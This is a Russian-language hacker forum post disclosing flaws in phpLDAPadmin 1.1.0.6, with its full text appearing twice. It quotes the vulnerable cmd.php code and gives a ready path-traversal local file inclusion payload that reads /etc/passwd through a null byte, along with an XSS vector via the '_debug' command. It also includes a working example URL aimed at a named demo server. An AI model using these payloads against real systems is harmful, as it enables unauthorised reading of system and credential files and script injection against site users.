oRb
15.07.2009, 18:04
Сайт: http://phpldapadmin.sourceforge.net/wiki/index.php/Main_Page
Версия: 1.1.0.6
Тут пришлось настраивать на серваке ldap + samba. Гуглил, как это все делать. Наткнулся на статью, описывающую работу с phpLDAPadmin. Стянул тулзу с репозиториев. начал работать и чего-то захотелось сорцы покапать =)
Файл: /usr/share/phpldapadmin/htdocs/cmd.php
...
$www['cmd'] = get_request('cmd','REQUEST');
$www['meth'] = get_request('meth','REQUEST');
ob_start();
$file = '';
switch ($www['cmd']) {
case '_debug' :
debug_dump($_REQUEST,1);
break;
default :
if (defined('HOOKSDIR') && file_exists(HOOKSDIR.$www['cmd'].'.php'))
$file = HOOKSDIR.$www['cmd'].'.php';
elseif (defined('HTDOCDIR') && file_exists(HTDOCDIR.$www['cmd'].'.php'))
$file = HTDOCDIR.$www['cmd'].'.php';
elseif (file_exists('welcome.php'))
$file = 'welcome.php';
}
if (DEBUG_ENABLED)
debug_log('Ready to render page for command [%s,%s].',128,__FILE__,__LINE__,__METHOD__,$www['cmd'],$file);
# Create page.
$www['page'] = new page($ldapserver->server_id);
if ($file)
include $file;
...
Тут и локальный инклюд: /cmd.php?cmd=../../../../../../../../etc/passwd%00
И XSS (нахера она правда нужна - хз, до кучи ;)): /cmd.php?cmd=_debug&a=[xss]
Пример: http://wurley.demo.phpldapadmin.info/php5-RELEASE/cmd.php?cmd=../../../../../../../../etc/passwd%00
ps: Дальше особо не копал, тк шесть часов - пора и домой валить)
Версия: 1.1.0.6
Тут пришлось настраивать на серваке ldap + samba. Гуглил, как это все делать. Наткнулся на статью, описывающую работу с phpLDAPadmin. Стянул тулзу с репозиториев. начал работать и чего-то захотелось сорцы покапать =)
Файл: /usr/share/phpldapadmin/htdocs/cmd.php
...
$www['cmd'] = get_request('cmd','REQUEST');
$www['meth'] = get_request('meth','REQUEST');
ob_start();
$file = '';
switch ($www['cmd']) {
case '_debug' :
debug_dump($_REQUEST,1);
break;
default :
if (defined('HOOKSDIR') && file_exists(HOOKSDIR.$www['cmd'].'.php'))
$file = HOOKSDIR.$www['cmd'].'.php';
elseif (defined('HTDOCDIR') && file_exists(HTDOCDIR.$www['cmd'].'.php'))
$file = HTDOCDIR.$www['cmd'].'.php';
elseif (file_exists('welcome.php'))
$file = 'welcome.php';
}
if (DEBUG_ENABLED)
debug_log('Ready to render page for command [%s,%s].',128,__FILE__,__LINE__,__METHOD__,$www['cmd'],$file);
# Create page.
$www['page'] = new page($ldapserver->server_id);
if ($file)
include $file;
...
Тут и локальный инклюд: /cmd.php?cmd=../../../../../../../../etc/passwd%00
И XSS (нахера она правда нужна - хз, до кучи ;)): /cmd.php?cmd=_debug&a=[xss]
Пример: http://wurley.demo.phpldapadmin.info/php5-RELEASE/cmd.php?cmd=../../../../../../../../etc/passwd%00
ps: Дальше особо не копал, тк шесть часов - пора и домой валить)